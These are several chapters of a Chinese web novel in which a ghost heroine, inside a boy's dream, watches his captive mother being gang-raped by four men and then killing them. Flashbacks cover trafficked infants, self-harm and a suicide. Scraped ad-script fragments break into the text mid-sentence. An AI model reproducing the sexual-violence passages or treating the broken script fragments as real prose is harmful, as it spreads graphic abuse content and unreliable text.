这人……长得和小石,或者说长大后的小石竟然有六七分的相似。 白幺幺脑中冒出了一个答案来,这人很大可能就是小石的父亲。 几人吃菜的吃菜,喝酒的喝酒。 刚刚起身关窗的那个大高个,拿起酒瓶要倒酒,发现没了,重重将空酒瓶放到桌上。 也幸亏酒瓶质量好,不然准已经四分五裂了。 大高个动作不雅的打了个酒嗝,也不知道醉成啥样,张嘴说话都有些大舌头了。 “光……光了……不和了……般……半……要办正事了……” 经他这么一说,其他几人,喝酒的放下酒杯,吃菜的放下筷子。 除了与四人气质截然相反的那道颀长身影,他眸中神色是道不清的复杂外,其他人眼中全是贪婪淫邪之色。 “哈哈,已经近百岁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,还嫩得像二三十岁的女人,老子真还没睡过,今晚一定要……干得她哭爹喊娘,向我求饶。” “可……可不是……这地界,能让我们四人一同伺候的女人,那也是她的福气。” “哈哈,没错,这话说的太中听了,要不是那女人的血喝了,肉吃了都没任何效果,其实老子是更想将其拆之入腹的,毕竟长得看起来再像二三十岁的,那也改不了已经是近百岁的老娘们了!” “对,说的在理,咱们一个个是缺女人的人吗?不,咱们缺……缺的是能给我们生下能活好几百岁的怪……儿……儿子……” “女儿,就算是女儿也不错,未来就可不仅仅是能拿来当联姻工具用那么简单。” “嘿嘿,都懂的,咱们这些个当家主的,为了家族兴旺,今晚一个字,就是干。” “哈哈,说了,我们排个先后顺序, 你们又不要,到时真怀上了,咱们怎么确定孩子是谁的……不过,这样玩才刺激嘛……嗝……” 油腻大肚腩抬起胳膊搭在坐他右侧的人肩膀上,打了个酒嗝道:“顾先生,你是……这个……” 油腻大肚腩说着,抬起另一只肥手,朝人竖起大拇指。 “和个那般岁数的怪物都能谈情说爱,让人给你生儿育女的,最后还能哄着人将此等秘密告诉你,同为男人,你很不错!” “两个刚出生的小怪物,说给我们入药就给我们,只可惜都是不顶用的玩意,果然这世上就没唐僧肉的存在” “自古书生最无情,古人诚不欺我等啊,顾先生,要说狠,比起你这个读书人来,我们几个真是自愧不如啊!” “好了,好了,废话那么多干嘛,春宵一刻值千金,不知道吗?” 几人陆续起身,相互勾肩搭背的开门走了出去。 门开的瞬间,寒意迎面袭来,让几人的醉意有了短暂的清醒,不过也只是短暂的。 那个被称为顾先生的,被几人拥簇在中间。 一路上几人的嘴就没消停过。 “顾……顾先生……你等下可不许离开,在旁边好好观摩下我们几人的……的……” …… 第144章 大佬的舔狗青梅之错位时空的爱恋(31) 白幺幺一路跟在几人的后面,故意稍稍落后好几步,她是一点也不想看到几个垃圾畜牲的那副恶心欠刀嘴脸。 从几人的言语中,她大概拼凑出了点东西来。 怎么说,难怪会有这样一句话。 有时候,你苦苦追寻的真相,往往都是丑陋残酷的。 一路上听着几人的污言秽语,白幺幺眼里的火要是能化为实质,早将几人直接烧成灰烬了。 很快几人在一间落了锁的房门前停下,走在最前面的人扯了扯门上的锁,转头囔囔道:“顾先生,快……快过来开下锁。” 白幺幺是真的看都不想看这些人,她嫌恶心是一点。 主要是看了,火气大,拳头痒,却不得发泄的法子,打不到人,那难受憋闷劲呀! 她目不斜视的从几人旁边经过,先于他们穿墙而入。 屋里亮着盏煤油灯,不算亮堂,却足够白幺幺看清屋里各处的情况。 屋里的陈设简单,白幺幺扫了一圈,最后将视线落在那张足够躺下七八人的大床上。 透过垂落的帷幔,能隐隐看清上面躺着一个人。 白幺幺走过去,脑袋探进帷幔中,只一眼,她瞳孔猛的一震。 床上躺着的女人和她第一次见到小石时,他手中正雕刻的人偶长得一模一样。 猜到,远远没有亲眼所见来的心神剧震。 此时床上女人双手双脚被绳子捆绑着,嘴里也被堵上了,她双眼是睁开着的,正一眨不眨的盯着床顶看,眼神是那般无神空洞。 这时,门外传来咔嗒一声,门锁被打开了。 艹! 白幺幺想骂娘,想…… 怎么就没有实体?她怎么就没有实体? 她现在要是有实体那该有多好。 门锁开后,紧接着门被推开了。 白幺幺回头冷冷的瞪向进来的人,垂落在两侧的手不知何时已经被她拽得死紧。 “哈哈,春宵一刻值千金,几位,我可已经迫不及待了。” 说这句话的人,说完,就几个大跨步朝床上扑去。 白幺幺咬紧牙关,不知道的还以为她跟自己的牙有仇,一副要将牙全咬碎了的架势。 她侧头不去看床那边,心中犹豫了一瞬,踏着千斤重的步伐往屋外走去。 只是她才刚走出一步,耳朵敏锐的听到了什么声响。 她皱着眉,还是回头探寻起来。 很快,她发现了,刚刚的细微声响好像是床底下发出来的。 白幺幺猜到了什么,这时她在想,难怪很多人常常说,人活着有时候就要难得糊涂。 重重吐了口气,白幺幺走过去蹲下来,探头往床底看去。 四目相对。 小娃娃黑溜溜的大眼睛里盛满的茫然恐惧等多种情绪,让白幺幺很想……很想…… 最后她啥也没干,毕竟除了无能狂怒,她什么也干不了。 小娃娃趴在床底地上,两只小手并用,紧紧的将嘴捂着。 小娃娃应该是三岁左右,那张脸瞧着,白幺幺知道就是小石。 白幺幺还知道小娃娃看得到她,或许是年纪真的还小,所以还不像长大后那般会隐藏自己的情绪。 怕人不小心出声惊动了屋里的那些个畜生,白幺幺忙对着小娃娃做了个噤声的动作。 而后,她用上平生最温柔的声音说:“真乖,我知道你叫顾石川,这样吧,我叫你小石。” “小石乖,只要你从现在开始不乱动,也不说话,姐姐就唱歌给你听好不好?” “很好听的歌哦,还会一直唱,一直唱,唱好多首。” 没得到回应,白幺幺自己就这么决定了。 她钻到床底下去,并排趴在小娃娃的旁边。 小娃娃很乖,偷偷侧头看她时,两只小手依旧死死捂着嘴。 将小娃娃的小动作看在眼里,白幺幺尽管心里难受,却还是努力咧嘴朝小娃娃挤出个笑来。 而后她开始唱起自己比较拿手的那些儿歌,唱的时候还尽量将音量提到最高,力图用歌声盖过房间里的那些其他声音。 白幺幺心里很难受,真的很难受,这似乎是她此时此刻唯一能为小娃娃做的了。 也不知道唱到第几首歌,头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顶上方的动静越来越大。 小娃娃小小的身躯蜷缩成一团,在发着抖,小脸上,捂着嘴的小手,早已全都湿淋淋的。 艹,他娘的都是些什么事! 白幺幺咬着牙在心里爆粗口。 她移动了下身体,做出将小娃娃护在怀里的姿势,歌声从唱出第一句开始到现在就没中断过。 白幺幺从未像此刻这般,觉得时间怎么过得如此慢,如此难熬。 眼眶什么时候红的,白幺幺自己都不清楚。 当小娃娃拿开一只捂着嘴的小手摸向她的眼角时,她才反应过来,原来……自己哭了呀! 此时小娃娃的眼睛湿漉漉的,又红又肿。 白幺幺从里面读到了“不哭”两个字,眼泪它自己又不听话的流了出来。 白幺幺朝小娃娃摇了摇头,表示她没事的,同时抬手做了个捂嘴的动作,示意小娃娃赶紧把 嘴捂好了。 时间在白幺幺的歌声下缓慢的流淌着,仿佛过了一个世纪般,房间里的其他声音慢慢停下了,最后只余下白幺幺的歌声。 就在白幺幺放开怀中的小娃娃,准备从床底出去探探情况时,有人从床上下来了。 那人双脚轻轻踩在地上,脚步虚浮无力的朝房间某一处走去,而后很快折返回到床边。 在床底,视线的局限性,让她仅仅只能看到人的脚和小腿。 但只有这些就够了,白幺幺知道下床的是谁,她的心一下子悬了起来。 小声叮嘱小娃娃不许说话,也不许乱动后,她才从床底爬出来。 而她刚从床底爬出来,就看到令她血脉偾张的一幕。 女人对着床上其中一个男人脖子上的颈动脉快速划了一刀,同时用枕头死死捂住男人的脸。 之后她按照同样的方式,杀死了床上另外三人。 这几个人原本就喝的烂醉,又经历了一场高强度的运动,一个个睡得跟死猪似的。 所以女人全程都很顺利,没发生什么意外。 白幺幺看得心里畅快极了,就是觉得让这些人在睡梦中死去,还是有点便宜他们了。 第145章 大佬的舔狗青梅之错位时空的爱恋(32) 女人是强撑着力气干完这些的,等谨慎的挨个确认都没了呼吸和心跳。 她整个人再也支撑不住,身体摇晃两下,重重跌坐在地上。 房间里只有四个人,那个顾先生留下来观摩了好一会儿,中途称酒劲上来,先回去休息了。 四人当时已经玩嗨了,哪里还顾得上他,也就只有一人抽空朝他摆了摆手。 瞧着床上已经变成尸体的几人,白幺幺心里畅快解气极了,只是她知道现在不是开心的时候。 杀了这四人,还不能完全解决问题。 那个顾先生也就是小石的……父亲一切的始作俑者。 白幺幺不清楚女人能否对那个顾先生下得去手,但仅凭女人现在的状态,对上那个顾先生胜算并不是很高。 她虽没能全程围观几人喝酒,但从后面那个顾先生表现出来的,此人可不似床上这些个蠢货,把自己灌成这副德行。 虎毒不食子,可这个顾先生都做了什么,竟然把自己孩子送给别人…… 呵呵,在白幺幺看来,这个顾先生才是最该杀的。 尽管他是小石的父亲又怎么样,他不配做个父亲,或者说连人都不配做。 女人应该是第一次杀人,动手时全凭一股气支撑着,那股气泄了后,双手开始微微打着颤。 当然,这不是后悔杀了那几个人,而是身体的本能反应。 女人坐在地上大口大口的喘着气,脸上被溅到好些血,手上也是。 约莫才过去十几秒,女人像是想到了什么,手指一松,握在手上的刀哐当一声落地。 原本面无表情的脸上开始出现各种表情,不断变换,扭曲,变换,最后归于有点麻木的平静。 她改坐为半跪着,正准备弯腰探头往床底看时,想到什么,忙伸手在脸上胡乱的擦起来。 瞧着她的动作,白幺幺心中像是堵了一大团的湿棉花, 就是让她在读十辈子的大学,感觉也还是词穷,找出来词来形容她此时此刻的心情。 反正就是觉得,整个人都很不好,很不好。 原来,原来女人是知道小石在床底下的。 那……那……这……这对母子俩来说太残忍了,太…… 白幺幺控制不住的抡起拳头砸向旁边的桌子,尽管砸个寂寞。 可不做点什么,她感觉自己有点要爆炸了。 按照女人的擦法,脸上的血迹非但没有擦干净,反而弄得更糟糕。 只是女人自己浑然不觉般,放下手后,继续方才的动作。 白幺幺担心女人这样会吓到孩子,忙快速移动到床前,也跟着跪趴在地上看向床底。 女人很努力很努力的挤出一个微笑来,同时朝床底的小娃娃招了招手,声音沙哑却不失温柔。 “宝宝真棒,知道躲在床底下,是妈妈太笨了,这么久才找到宝宝,好了,现在妈妈已经找到宝宝,宝宝出来吧,我们不玩捉迷藏了,妈妈现在带你去个地方。” “小石,你妈妈刚刚笨手笨脚的打翻了红色颜料,脸上身上都沾到了,她着急过来找你,忘记擦洗了,我知道小石最聪明了,听得懂的,所以你不能因为妈妈现在顶着张小花脸,就害……笑话她知道吗?不然妈妈会很伤心的。” 白幺幺的声音和女人的先后响起,她说完还朝小娃娃做了个鼓励小表情。 小娃娃一开始怎么可能没被女人的形象吓到,只是小娃娃真的很棒很勇敢,仅仅只是迟疑着没有在女人的呼唤下,第一时间从床底下爬出来。 也不知道是小娃娃确认了朝他招手的人真的是妈妈,还是白幺幺的话起了效果,小娃娃手脚并用的从床底下爬了出来。 小娃娃刚爬出来,女人就一把将人抱进怀里,再也控制不住咬着唇低低呜咽起来。 小娃娃应该是察觉到妈妈在哭,扭动身体想从妈妈怀中退出来,他想帮妈妈擦眼泪,或者是擦脸上的脏脏。 “妈妈,不哭,不哭,宝宝给擦擦,擦擦就好了。” 小娃娃奶声奶气的话语,让女人稍稍止住了眼泪,只是将 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抱着人的手又紧了紧。 那个顾先生也不知道是对自己太自信,还是对那四个人太放心。 白幺幺就这样一路看着女人有惊无险的带着小娃娃来到宅院的围墙边,然后从围墙上的一处狗洞爬了出去。 心里才暗自松了口气时,白幺幺感觉画面一闪,等前方视线再次清晰起来时,她所处的环境又变了。 这下子,白幺幺知道她心中的猜测没错了。 没想到,她竟然进入了小石的梦境中。 白幺幺第一时间抬眸打量周边情况。 这里…… 很熟悉的地方,就是她第一次见到小石的那个茅草屋。 屋里没人,院子中,女人抱着小娃娃在……讲故事。 也不知道距离上一个场景过去多久了,女人怀中的小娃娃长高不少,不似之前白胖白胖的,小脸瞧着甚至有些瘦。 不过眼睛依旧又大又黑,里面亮晶晶的。 相反的,女人的状态就有点不好,说形销骨立都不夸张。 说她在对着小娃娃讲故事,不如说她在自言 自语,只是内容稍稍整理下就是个故事,一个关于女人母亲与她自己的故事。 知道小娃娃还是一样看得到她,在小娃娃看到她,大眼睛倏地一亮时,白幺幺忙眼疾手快的朝人做了个噤声动作 小娃娃瞧见她的动作后,继续很乖巧的窝在女人怀里,不过眼睛还是会忍不住时不时偷偷朝白幺幺这边看一眼。 只是偷瞧了好几回,发现白幺幺双手托着下巴在很认真听妈妈说话,小娃娃大眼睛忽闪了两下,似乎有些小委屈的慢慢收回视线。 然后就不再动,也开始认真的听妈妈说话。 白幺幺虽在认真的听女人说,没办法,信息量有点大,不认真听不行呀,但她还是有分点心神在小娃娃身上的。 眼角余光将小娃娃的小动作以及小表情全收入眼底,白幺幺很想笑,却笑不出来。 这样的小娃娃,他还能“无忧无虑”几年呢? 第146章 大佬的舔狗青梅之错位时空的爱恋(33) 女人从傍晚絮絮叨叨讲到了天黑。 白幺幺一开始听得很认真,可是随着夕阳下山,女人依旧没有停下来的趋势,而她已经不知道第几回听到女人和小娃娃的肚子在唱空城计了。 她皱眉,很想催促女人停下来,赶紧去做晚饭。 就算大人自己吃不下,小娃娃也要吃呀。 只是女人又看不到她,而小娃娃不知道什么时候已经窝在女人的怀中睡着了。 可能是感知到肚子饿了,小娃娃偶尔还会咂吧下嘴,可就是没醒来。 白幺幺在旁边瞅着那叫一个着急,最后咬咬牙还是决定把小娃娃叫醒。 “小石,醒醒。” 白幺幺轻轻喊道。 并没有让白幺幺喊第二次,小娃娃很快悠悠转醒了。 他抬手揉了揉眼睛,而后迷茫的看了看四周。 看到白幺幺时,似是很意外她还在,先是愣了愣,而后眼神亮了亮。 白幺幺瞧见人清醒了,忙道:“小石,天黑了,你赶紧和妈妈说你肚子饿了,让她煮饭给你吃。” 小娃娃并没有立马按照白幺幺的话做,而是歪了歪脑袋,似是在思考。 过了一会儿,才朝着白幺幺轻轻摇了摇头。 白幺幺:“???” 在白幺幺疑惑的目光下,小娃娃从女人怀中挣扎着滑落下地,而后牵起女人手往屋里走去。 屋里也没点个灯啥的,幸好今晚的月光足够亮,小娃娃牵着人进屋不至于发生磕碰绊倒等意外。 前面小娃娃牵着人走得有多淡定从容,仿佛已经无数次这般走过了。 后面白幺幺那心则是悬着的,又紧张又担忧。 小娃娃牵着女人来到床边,小手在床上拍了拍,转头对女人说道:“妈妈,天黑了,我们睡觉吧。” 随着小娃娃的这句话,女人声音戛然而止,真的乖乖听话脱鞋爬上床躺好。 而小娃娃见女人躺好后,也娴熟的脱鞋爬上床,窝到女人怀中,闭上眼睛。 白幺幺:“???” 喉间被一团不明物堵住了,让她想发出声音来,却怎么也发不出来。 难怪了! 难怪女人瘦成那副模样,而小娃娃原本肉呼呼的小脸蛋也不见了。 她很想再次把小娃娃喊醒,可是喊醒后呢? 女人的精神状态明显不对劲了。 也不知道如此这般多久了,小娃娃才能在饿肚子的情况下,快速入睡,还睡得如此香甜。 白幺幺忽的觉得在屋里待着有些窒息,她跑到屋顶上躺着,对着月亮发呆。 脑中开始整理从女人那听来的故事。 故事并不复杂,相反的很简单。 而故事要从哪里说起,大概就是女人的母亲,也就是小石的外婆十六岁时说起。 那年,天灾不断。 老百姓的生活已经不能用苦不堪言的来形容了,易子而食的情况频频发生。 小石的外婆在逃荒的路上与家人走散。 一个原本就长得娇俏可人的小姑娘,就算因为灾荒,此时整个人面黄肌瘦的,如今落单了,很大概率会遭遇到什么可想而知。 小姑娘不是个傻的,她一面很想赶紧找到家人,一面又害怕没办法活到找到家人的时候。 暗暗在心里几番分析后,她知道自己找到家人的几率很渺茫,甚至家人都不一定能活着等到她找到他们。 最后,为了活着,或者说多活几天,小姑娘开始与人群背道而行,进入了深山中。 一路上,小姑娘真的很害怕,害怕会突然窜出来一只猛兽把她吃了。 山里的路十分不好走,摔倒受伤是常事。 饿了。 吃野果,吃草,吃树叶等等。 目之所及,只要觉得能吃的,她都吃。 一天傍晚,天上突然下起了大雨。 没地方避雨,小姑娘很快淋了一身湿。 雨停后,天也黑了。 她没有继续赶路,而是就这样穿着湿衣服靠在一棵大树上休息。 第二天醒来时,小姑娘毫不意外的发烧了。 她整个人昏昏沉沉的,起来继续赶路。 尽管几天下来,运气很好的都没遇上什么猛兽,但谁知道后面还会有如此好运气吗? 在发着烧的状态下赶路, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小姑娘最后还是出事了。 她从一处山坡失足滑下去,最后掉进一条河中彻底失去意识。 等小姑娘醒来,发现她被深山中的一个猎户所救。 猎户一家是十几年前逃荒,为了活下来,才进了深山的,后面直接安家在此了。 早几年,猎户的双亲相继去世,只留下他一人,彼时猎户才十五岁。 他想过离开深山,到外面去。 只是他曾出去过一次,觉得与山外的世界格格不入,就继续回到山上了。 孤男寡女的,又有救命之恩在,两人渐生情愫,最后走到一起是那般的水到渠成。 婚后的第二年,小石的妈妈出生了。 夫妻俩都很疼这个女儿,想着再过几年,等孩子大些,一家三口就离开深山到外面去生活。 可是 ,随着时间一天一天的过去。 夫妻俩发现孩子有些不正常,明明瞧着很健康,就是长得很慢。 一开始,他们并没怎么放心上,可是当孩子四岁了,瞧着才和人家一岁多的孩子差不多,夫妻俩简直快愁坏了。 夫妻俩彻夜未眠,经过一夜的商量,决定过几天就带着孩子下山去看病。 隔天,猎户开始更频繁的进山打猎,想着到时能多带点猎物出去换钱给孩子看病。 第三天傍晚,天上开始下起毛毛细雨,妻子抱着孩子在家里焦急的等着丈夫回来。 只是等呀等,等到了天黑,都不见人回来。 猎户失踪了,活不见人,死不见尸的。 隔天抱着孩子出去找人的妻子,最后只找到了一只带血的鞋子,那是猎户昨天离开家时穿的。 家里的顶梁柱没了,带孩子去看病的事就这样被搁浅了。 就这样。 妻子独自带着女儿在深山里过了一年又一年,很快她发现了不仅女儿“病”了,她自己也“病”了。 为了验证她心中的猜测,她带着女儿在深山里一住就是三十几年。 瞧着镜子中,那张仿若二十出头小姑娘的面容,可明明她已经五十几岁了。 女人每天照镜子时,都会对着镜子发呆很久。 第147章 大佬的舔狗青梅之错位时空的爱恋(34) 她能肯定自己的父母亲人是正常的,而她会这样,或许是因为在逃荒的路上吃了什么不得了东西。 可具体是什么东西,她根本想不起来。 为了活着,一路走,一路吃,认识不认识都吃。 经过这么多年的研究,她发现自己只是比正常人老得更慢些,寿命更长些,至于身体体质还是一样的。 淋了雨会生病,不喝药不会好,病情一样会越来越严重,脸色也会因此变得越来越差。 身上划破道口子,和普通人一样,需要上药,伤口愈合的时间一样很慢。 受到致命伤或者中毒,也是一样会死的。 而她的女儿,似乎受她影响,也有了这一体质。 如今她的女儿已经三十几岁了,不知情况的人瞧着只以为还是个八九岁的小姑娘。 她的女儿哪怕外表像孩童,心智却已经很成熟了,可因为从出生就一直生活在深山中,没有与外界接触过,十分的单纯。 而她不一样,是在外面那个吃人的世界待过的。 深知怀璧其罪的道理,更何况她们母女的这情况可比之更严重些。 女人是个有智慧的人,她有试着去研究观察自己身上的变化,甚至很有耐心的去圈养一只小野猫,并让小猫连续几天喝了点自己的血。 之后她用一年的时间观察小猫的生长,发现喝了她的血后,小猫还是像平常的猫一样长得很快,她心里不知道该说失望,还是狠狠松了口气。 两年后,小猫产仔,女人看着几只刚出生的小奶猫,又动了心思。 等猫崽子能吃肉后,女人忍着疼痛从自己大腿上割下一小块肉喂给猫崽子吃。 担心喂一次不够,她连喂了几天,之后就开始观察猫崽子每天的发育情况。 观察了一年,她才彻底放下心来。 而十几年后,这只猫崽子成了老猫,最后老死了。 等到女儿五十几岁,瞧着是个大姑娘了的时候,她才告诉女儿两人身上异于常人的这情况。 她知道女儿年纪越大越向往外面的世界,而她并不知道自己能活多久,两百年,三百年,或者更长些。 考虑到两点,一点是她终究陪不了女儿一辈子,二点就是人生路过于漫长也不是一件好事。 她开始在每天闲暇时和女儿讲起外面的世界,同时不忘对其耳提面命人心的险恶,以及外面男人的话永远不要信,更不要将自己身上的秘密告诉任何人。 同时,她也慢慢在为两人一起出去做准备。 这一准备就又过去了好几年。 或许是天意吧,女人是这么想的。 老天爷可能觉得她们是异类,异数,每次她们想到外面世界时,总会出现个什么状况,让她们不得不暂时搁浅计划。 女人在一次爬树摘果子时,也不知道是被太阳光还是啥晃了一下眼,人直接从树上摔下来。 人是福大命大,活下来了,可人瘫了。 其实女人觉得这辈子值了,就算直接死去她也不怕,她就是放心不下女儿。 在女儿尽心尽力照顾了她二十几年后,女人做了一个决定。 白天她再次和女儿重复了一遍每天都要说的那些话,同时又交待了一些事,夜里女人就咬舌自尽了。 以上就是小石外婆的故事。 白幺幺觉得小石的外婆是个聪慧果敢的女人,如果她没那么早就没了,小石妈妈的人生应该会不一样的吧。 再来说说小石妈妈的故事,简单概括就是单纯无知少女,下山后遇到了从山脚下经过的俊俏男人。 或许因为这男人是她下山后见到的第一个人,还生得如此俊,十分平易近人,瞧着就是个好人。 少女隐隐生出一种雏鸟情结,而后就假装无家可归的孤女,赖上了男人。 之后,少女和男人就很自然而然的相爱走到了一起,从少女蜕变成女人。 沉溺在男人的温柔和爱意中,女人久而久之忘记了母亲一直耳提面命的那些话。 两人在婚礼上可是说了要白头偕老,之后在床上浓情蜜意时,男人还对她许下了生同衾死同穴,哪天她要是先他而去,他一定不会独活于世的誓言。 男人的这誓言简直 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把女人感动坏了。 可是感动过后,女人想到了自己的情况,以后的几天她都心事重重的,一副郁郁寡欢的模样。 最后在男人担忧关心的温柔目光下,女人将自己身上最大的秘密说与男人听了。 说出来后,女人甚至还感到了一阵轻松,人也由心而发的笑了。 同时,她也对着男人发誓,爱他一辈子,哪天他不在了,她也不会独活的。 她并不知道,情情爱爱对男人来说是最无足轻重的。 而男人的誓言,听听就好,当真你就输了。 故事的最后,就是女人为自己的单纯愚蠢买单,既害了自己,也害死了她的大儿子和二儿子。 白幺幺一咕噜爬起来,长长叹了口气。 似有所感,她的从屋顶直接穿回房间里,快速来到床边,轻声细语的和小娃娃说了声再见。 没错的,她能感觉到自己的状态很不稳 定,应该是小石快醒来了。 …… 白幺幺哪里会想到自己从小石的梦中出来,进去时是什么姿势,出来时,还是什么姿势。 所以顾石川半夜醒来,脑袋无意识的偏移了下,睁开眼看到是女人的侧脸,而他的唇瞧着就像亲在女人脸上似的。 这就…… 黑暗中,两人大眼瞪小眼,最后顾石川打开了灯。 白幺幺第一时间发现对方面红耳赤的,心里莫名的有些心虚。 大半夜的不请自来,偷听人家说梦话,最后还把人给吓到了。 白幺幺把人面红耳赤的原因归结为被自己吓到了。 再者,她偷听梦话虽然没偷听成功,可她直接入了他的梦呀,窥见了他的“秘密”。 所以,白幺幺更心虚了,瞧着人的目光也很复杂。 顾石川很快调整好情绪,先开口说话。 “你回来了,什么时候回来的?下回你可以把我喊醒的。” 白幺幺:“……” 这孩子真…… 不,不是,她怎么忘了,眼前的小石应该不能算是孩子了吧! 第148章 章 大佬的舔狗青梅之错位时空的爱恋(35) 白幺幺摸了摸后脑勺,扯嘴露出个有点僵硬的笑。 “是,是呀。” 她眼神飘忽,不经意扫过桌上的钟表。 凌晨两点多。 她忙又说:“你赶紧继续睡,不用管我,我自己去四处溜达溜达。” 顾石川将她的动作看在眼里,也用眼角余光扫了下钟表,遂点了点头。 他关掉灯,重新躺下闭眼。 白幺幺站在原地纠结了好一会儿,还是小声问道:“小……小石你睡着了吗?” 她才刚问完,下一秒床那边就传来简单的一字回答。 “没。” “你快睡,我等你睡着后再出去。” 顾石川也没问她为什么要这样做,只是低低“嗯”了声,末了还道了声“谢谢。” 聪明人间的对话就是这样,不用将话说的太明了,也能立马明白其未尽之意。 也不知道人是真的困了,还是白幺幺在旁边起了效果。 没一会儿床上就传来均匀的呼吸声,而白幺幺最终一直都没离开房间,因为她还是担心人要是又做噩梦了怎么办。 今夜的风一阵一阵的。 刚刚人醒时,这风恰好停了,以至于白幺幺都忘记要喊人下床关下窗。 在窗边站了好一会儿,白幺幺直接跳到窗台上坐着。 一夜过去。 柔和的阳光洒在大地上,白幺幺伸展了下腰肢,从窗台上跳回房间里。 她听到动静,人醒了。 “醒啦!”白幺幺明知故问道。 “嗯。” 顾石川轻点了头,“等下还是一起跑步吗?” “跑。” 白幺幺重重点了下头,身体锻炼每一天都不能落下……哪怕是她现在这种状态。 见人洗漱回来,站在床边准备换衣服。 白幺幺:“……” 她是不是要回避下了呢,回避下呢! 嗯,还是回避下吧。 白幺幺溜得很快,所以没有注意到某人因她的离开,正要脱衣服的动作顿住了几秒。 顾石川还侧头看向她离开的方向,低声呢喃了句“是发生了什么吗?” 晨跑时。 白幺幺视线总是不受她控制的落在旁边人脸上,然后那稚嫩的小脸在她眼中又直接变成了另一个世界顾石川的脸。 生命不在于长度,而在于广度。 怎么说,这句话对于很多人来说,有那么点自我安慰意思。 从古至今,出了多少沉迷于求长生的帝王。 生命如果能既要长度又要广度,应该没谁能拒绝得了吧。 甚至让在长度和广度两者间只能择其一,应该会有不少人犹豫不决。 “我脸上有东西吗?” 顾石川停下脚步,跑了那么久,说话时气息还挺平稳的。 白幺幺被他这么突然一问,愣了下,才摇头。 “没有呀,你脸上很干净。” 废话,她刚刚可是盯着人看许久的,干不干净她会不知道。 顾石川迟疑了下,还是问道:“那你刚刚为什么一直盯着我看?” 换成别的女人盯着男人看,而后被抓包,肯定会很害羞难为情。 不过白幺幺同志完全不会,她神色坦然道:“就是觉得好几天不见,你变得更帅气,更好看了。” 没想到会突然被夸,顾石川的脸肉眼可见的红起来,微低了下头,一下子不敢和白幺幺对视。 白幺幺:“……” 很多画面快速在脑中闪过,有这个世界的,有另一个世界的,也有梦中世界的。 一个问题不经大脑的,从白幺幺口中而出。 “你幸福吗?” 顾石川抬头,目光重新与白幺幺对视,脸上的红晕还未完全消退。 “为什么突然问这个问题?” 话题转换的太快,顾石川眸中疑惑之色很明显。 白幺幺:是挺突然的,不过她总不能回答,你的幸福是我的任务吧。 白幺幺故作随意道:“突然想起来,就问了。” 她认真且严肃的盯着人眼睛,又将问题重复了遍。 “你幸福吗?” 顾石川垂眸像是在思考,白幺幺在旁边安静等待也不催促。 过了许久,顾石川摇头,“我不知道。” 白幺幺:“???” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 看出她的疑惑,顾石川目光掠过她的头顶,落在后方树上的小鸟上。 “会不会有些人生来就与幸福绝缘,上天忘记赋予他们幸福的能力了。” 顾石川的声音很平静,让人听不出情绪波动。 白幺幺很想照着人的后脑勺来一下,然后来句小小年纪,瞎装啥深沉! 好吧,心动不如行动。 她的手可比她脑子快,真把人打懵了。 没办法,她的手直接从人后脑勺穿过…… 所以,人不懵才不正常。 这种时候,白幺幺同志有经验,比的就是气势。 她微仰了下头,挺了挺胸脯,就差在脸上写着“没错,我就是打你了,怎么滴,难道你还要打回来?” 哼,who怕who ! 来呀,互相伤害,反正又谁也打不到谁。 顾石川仅仅是微愣了下,就回神了。 他双唇微张吐出了个“你”,就不知道要说什么了。 白恶鬼幺幺上线,她故意压低嗓子恶狠狠道:“你,你,你什么你,要是让我下次在听到你说这种话,我还抽你哦!” 还什么与幸福绝缘,还什么没被赋予幸福的能力,扯淡,纯碎扯淡。 敬业打工人白幺幺同志能接受任务失败,却不能接受是因为这种狗屁理由。 她扬起拳头挥了挥,磨着牙威胁道:“赶紧把这种乱七八糟的想法通通丢了,哼,要不是我现在鬼力大减,一定一巴掌扇得你头昏眼花的。” 放完狠话,白幺幺语气前所未有的认真,“任何人,只要存在于这世间,不管以何种状态,嗯,比如像我这样的,他都有追求幸福,拥有幸福的权利……” 白幺幺语重心长,苦口婆心的说了一通,反正说完后,她觉得自己还真不容易呀! 因为她反应过来了一个关键问题,这个世界的小石是这么想的,那另一个世界的小石必然也是这样想的。 所以,难道她回去后,也要在和人聊天时,故意引着对方说出这番想法。 然后,她再趁机抬手照着人后脑勺来一下,接着重复一遍对这个世界小石说的那些话。 白幺幺:莫名有点期待怎么办! 第149章 大佬的舔狗青梅之错位时空的爱恋(36) 知道人不是真正的小孩子后,少了很多的顾虑,白幺幺那是更彻底的放开自己。 似乎这样相处更愉快了,嗯,反正她是更愉快了。 就像现在,她朝人咧嘴笑着说再见,不似之前那般还要纠结照顾着小孩的情绪。 不过离开前,她还留下了一个问题,或者说给人布置了个任务。 “小石,每天闲下来时,就好好想想哦,怎样你才会觉得幸福,或者你内心深处最渴望的幸福是什么?千万一定要认真好好想哦!” 等白幺幺的声音随着她的身影消失而消散后,顾石川才无奈的轻摇了下头。 顾石川隐隐有感觉,她是不是知道些什么呢。 他轻扯下嘴角,露出一抹自嘲的笑。 他这样的异类,怪物,何其有幸才能遇到她。 她说她是恶鬼,哪怕她是地狱爬出的恶魔,那又怎么样。 只有他一个人看得到她,他有时甚至贪恋奢望地想,她就是为他,为他一人而来的。 从记事开始,他就时常被噩梦所扰。 可是前天晚上,也不知道是不是日有所思夜有所梦。 她竟然出现在了他的梦中,没人知道小小的他躲在床底下,在看到那张熟悉的面容时,是既茫然又恐惧。 茫然是不明白她怎么会出现在他梦中,恐惧则是怕她知道所有的一切,会厌恶,会彻底离开他的世界。 可是她没有,她都没有。 她给他唱歌,唱他从来没听过,非常好听的歌。 她还很温柔的将他护在怀里,尽管触碰不到彼此,但他还是能感觉到她的怀抱是那么温暖。 不仅仅如此,她哭了,为他而哭的。 怎么办,好想把她永远留在身边。 刚好,他们都是不一样的。 